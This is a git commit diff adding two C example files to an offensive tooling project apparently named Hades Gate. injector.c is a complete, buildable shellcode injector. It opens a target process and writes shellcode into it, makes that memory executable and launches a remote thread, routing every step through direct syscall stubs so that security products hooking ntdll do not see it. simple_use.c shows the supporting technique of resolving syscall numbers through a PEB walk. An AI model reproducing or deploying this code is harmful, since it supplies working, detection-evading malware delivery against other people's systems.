Upload files to "examples"
This commit is contained in:
@@ -0,0 +1,240 @@
|
||||
/*
|
||||
* injector.c — Complete unhooked injection chain via Hades Gate
|
||||
*
|
||||
* Demonstrates: NtOpenProcess → NtAllocateVirtualMemory →
|
||||
* NtWriteVirtualMemory → NtProtectVirtualMemory → NtCreateThreadEx
|
||||
*
|
||||
* All calls go through direct syscall stubs. Zero Win32 API calls.
|
||||
* Zero hooked ntdll functions executed.
|
||||
*
|
||||
* Build:
|
||||
* x86_64-w64-mingw32-gcc -Os -masm=intel \
|
||||
* src/hades_gate.c examples/injector.c -o injector.exe
|
||||
*
|
||||
* Usage:
|
||||
* injector.exe <PID> <shellcode.bin>
|
||||
*
|
||||
* This file is part of Hades Gate.
|
||||
* License: None / Do What Thou Wilt.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "../src/hades_gate.h"
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* NT API prototypes — we'll fill these with our clean stubs */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtOpenProcess)(
|
||||
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, CLIENT_ID*);
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
|
||||
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)(
|
||||
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtProtectVirtualMemory)(
|
||||
HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
|
||||
PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG,
|
||||
SIZE_T, SIZE_T, SIZE_T, PVOID);
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtClose)(HANDLE);
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtDelayExecution)(BOOLEAN, PLARGE_INTEGER);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Load shellcode from file */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static unsigned char* load_file(const char* path, SIZE_T* out_size) {
|
||||
FILE* f = fopen(path, "rb");
|
||||
if (!f) { perror("fopen"); return NULL; }
|
||||
|
||||
fseek(f, 0, SEEK_END);
|
||||
*out_size = ftell(f);
|
||||
fseek(f, 0, SEEK_SET);
|
||||
|
||||
unsigned char* buf = (unsigned char*)malloc(*out_size);
|
||||
if (!buf) { fclose(f); return NULL; }
|
||||
|
||||
if (fread(buf, 1, *out_size, f) != *out_size) {
|
||||
free(buf);
|
||||
fclose(f);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return buf;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Main */
|
||||
/* ------------------------------------------------------------------ */
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc < 3) {
|
||||
printf("Usage: %s <PID> <shellcode.bin>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD pid = atoi(argv[1]);
|
||||
SIZE_T sc_size = 0;
|
||||
unsigned char* shellcode = load_file(argv[2], &sc_size);
|
||||
if (!shellcode) {
|
||||
fprintf(stderr, "Failed to load shellcode from %s\n", argv[2]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[*] Target PID: %lu\n", pid);
|
||||
printf("[*] Shellcode size: %zu bytes\n", sc_size);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Resolve all Nt* functions via Hades Gate */
|
||||
/* ------------------------------------------------------------------ */
|
||||
printf("[*] Resolving syscall stubs...\n");
|
||||
|
||||
pNtOpenProcess NtOpenProcess
|
||||
= (pNtOpenProcess)hg_syscall("NtOpenProcess");
|
||||
pNtAllocateVirtualMemory NtAllocateVirtualMemory
|
||||
= (pNtAllocateVirtualMemory)hg_syscall("NtAllocateVirtualMemory");
|
||||
pNtWriteVirtualMemory NtWriteVirtualMemory
|
||||
= (pNtWriteVirtualMemory)hg_syscall("NtWriteVirtualMemory");
|
||||
pNtProtectVirtualMemory NtProtectVirtualMemory
|
||||
= (pNtProtectVirtualMemory)hg_syscall("NtProtectVirtualMemory");
|
||||
pNtCreateThreadEx NtCreateThreadEx
|
||||
= (pNtCreateThreadEx)hg_syscall("NtCreateThreadEx");
|
||||
pNtClose NtClose
|
||||
= (pNtClose)hg_syscall("NtClose");
|
||||
pNtDelayExecution NtDelayExecution
|
||||
= (pNtDelayExecution)hg_syscall("NtDelayExecution");
|
||||
|
||||
if (!NtOpenProcess || !NtAllocateVirtualMemory || !NtWriteVirtualMemory ||
|
||||
!NtProtectVirtualMemory || !NtCreateThreadEx || !NtClose) {
|
||||
fprintf(stderr, "[-] Failed to resolve one or more syscall stubs\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Verify all stubs are executing from non-ntdll memory */
|
||||
printf("[*] All stubs resolved successfully\n\n");
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Step 1: NtOpenProcess */
|
||||
/* ------------------------------------------------------------------ */
|
||||
HANDLE hProcess = NULL;
|
||||
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
|
||||
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
|
||||
|
||||
printf("[*] Opening process %lu...\n", pid);
|
||||
NTSTATUS status = NtOpenProcess(
|
||||
&hProcess,
|
||||
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ |
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
PROCESS_SUSPEND_RESUME,
|
||||
&oa, &cid);
|
||||
|
||||
if (status < 0 || !hProcess) {
|
||||
fprintf(stderr, "[-] NtOpenProcess failed: 0x%08lX\n", status);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Process handle: 0x%p\n", (void*)hProcess);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Step 2: NtAllocateVirtualMemory in target */
|
||||
/* ------------------------------------------------------------------ */
|
||||
PVOID remote_addr = NULL;
|
||||
SIZE_T alloc_size = sc_size;
|
||||
|
||||
printf("[*] Allocating %zu bytes in target...\n", alloc_size);
|
||||
status = NtAllocateVirtualMemory(
|
||||
hProcess, &remote_addr, 0, &alloc_size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE); // ← RW, not RWX. We'll change executable afterwards.
|
||||
|
||||
if (status < 0 || !remote_addr) {
|
||||
fprintf(stderr, "[-] NtAllocateVirtualMemory failed: 0x%08lX\n", status);
|
||||
NtClose(hProcess);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Remote address: 0x%p\n", remote_addr);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Step 3: NtWriteVirtualMemory */
|
||||
/* ------------------------------------------------------------------ */
|
||||
SIZE_T bytes_written = 0;
|
||||
|
||||
printf("[*] Writing shellcode...\n");
|
||||
status = NtWriteVirtualMemory(
|
||||
hProcess, remote_addr, shellcode, sc_size, &bytes_written);
|
||||
|
||||
if (status < 0 || bytes_written != sc_size) {
|
||||
fprintf(stderr, "[-] NtWriteVirtualMemory failed: 0x%08lX\n", status);
|
||||
NtClose(hProcess);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Wrote %zu bytes\n", bytes_written);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Step 4: NtProtectVirtualMemory → PAGE_EXECUTE_READ */
|
||||
/* ------------------------------------------------------------------ */
|
||||
ULONG old_protect = 0;
|
||||
PVOID protect_addr = remote_addr;
|
||||
SIZE_T protect_size = sc_size;
|
||||
|
||||
printf("[*] Changing memory to PAGE_EXECUTE_READ...\n");
|
||||
status = NtProtectVirtualMemory(
|
||||
hProcess, &protect_addr, &protect_size,
|
||||
PAGE_EXECUTE_READ, &old_protect);
|
||||
|
||||
if (status < 0) {
|
||||
fprintf(stderr, "[-] NtProtectVirtualMemory failed: 0x%08lX\n", status);
|
||||
NtClose(hProcess);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Protection changed from 0x%08lX to PAGE_EXECUTE_READ\n",
|
||||
old_protect);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Step 5: NtCreateThreadEx */
|
||||
/* ------------------------------------------------------------------ */
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
printf("[*] Creating remote thread...\n");
|
||||
status = NtCreateThreadEx(
|
||||
&hThread,
|
||||
THREAD_ALL_ACCESS,
|
||||
NULL,
|
||||
hProcess,
|
||||
remote_addr, // start address (our shellcode)
|
||||
NULL, // argument
|
||||
0, // flags
|
||||
0, // stack size (0 = default)
|
||||
0, // max stack size
|
||||
0, // initial thread attributes
|
||||
NULL);
|
||||
|
||||
if (status < 0 || !hThread) {
|
||||
fprintf(stderr, "[-] NtCreateThreadEx failed: 0x%08lX\n", status);
|
||||
NtClose(hProcess);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Remote thread: 0x%p\n", (void*)hThread);
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Cleanup */
|
||||
/* ------------------------------------------------------------------ */
|
||||
printf("[*] Waiting 1 second for shellcode to execute...\n");
|
||||
|
||||
LARGE_INTEGER delay;
|
||||
delay.QuadPart = -10000000LL; // 1 second in 100ns intervals
|
||||
NtDelayExecution(FALSE, &delay);
|
||||
|
||||
NtClose(hThread);
|
||||
NtClose(hProcess);
|
||||
free(shellcode);
|
||||
|
||||
printf("[+] Injection complete\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
/*
|
||||
* simple_use.c — Minimal Hades Gate usage example
|
||||
*
|
||||
* Demonstrates:
|
||||
* 1. Resolving ntdll base via PEB walk
|
||||
* 2. Parsing exports for NtAllocateVirtualMemory
|
||||
* 3. Building and calling a clean syscall stub
|
||||
*
|
||||
* Build:
|
||||
* x86_64-w64-mingw32-gcc -Os -masm=intel \
|
||||
* src/hades_gate.c examples/simple_use.c -o simple_use.exe
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include "../src/hades_gate.h"
|
||||
|
||||
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
|
||||
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
|
||||
int main(void) {
|
||||
printf("=== Hades Gate — Simple Usage Test ===\n\n");
|
||||
|
||||
/* Method 1: One-shot (resolve + build in one call) */
|
||||
printf("[*] One-shot: hg_syscall(\"NtAllocateVirtualMemory\")\n");
|
||||
void* stub = hg_syscall("NtAllocateVirtualMemory");
|
||||
if (stub) {
|
||||
printf("[+] Stub at: %p\n", stub);
|
||||
} else {
|
||||
printf("[-] Failed\n");
|
||||
}
|
||||
|
||||
/* Method 2: Two-step (inspect the resolved info) */
|
||||
printf("\n[*] Two-step: hg_find_ntdll → hg_resolve\n");
|
||||
uintptr_t ntdll = hg_find_ntdll();
|
||||
if (ntdll) {
|
||||
printf("[+] ntdll base: 0x%p\n", (void*)ntdll);
|
||||
} else {
|
||||
printf("[-] PEB walk failed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory");
|
||||
if (r.ssn) {
|
||||
printf("[+] Function: %p\n", r.address);
|
||||
printf("[+] SSN: 0x%02X (%u)\n", r.ssn, r.ssn);
|
||||
|
||||
void* stub2 = hg_build_stub(r.ssn);
|
||||
if (stub2) {
|
||||
printf("[+] Stub: %p\n", stub2);
|
||||
|
||||
/* Call it */
|
||||
pNtAllocateVirtualMemory pAlloc = (pNtAllocateVirtualMemory)stub2;
|
||||
PVOID addr = NULL;
|
||||
SIZE_T size = 0x1000;
|
||||
|
||||
printf("\n[*] Calling stub (allocating 4096 bytes)...\n");
|
||||
NTSTATUS status = pAlloc(
|
||||
(HANDLE)-1, &addr, 0, &size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
|
||||
if (status >= 0 && addr) {
|
||||
printf("[+] Allocated: %p (NTSTATUS: 0x%08lX)\n", addr, status);
|
||||
/* Write a test pattern */
|
||||
*(uint32_t*)addr = 0xDEADBEEF;
|
||||
printf("[+] Wrote 0x%08X — memory is alive\n", *(uint32_t*)addr);
|
||||
} else {
|
||||
printf("[-] Allocation failed: 0x%08lX\n", status);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf("[-] Resolution failed\n");
|
||||
}
|
||||
|
||||
printf("\n=== Done ===\n");
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user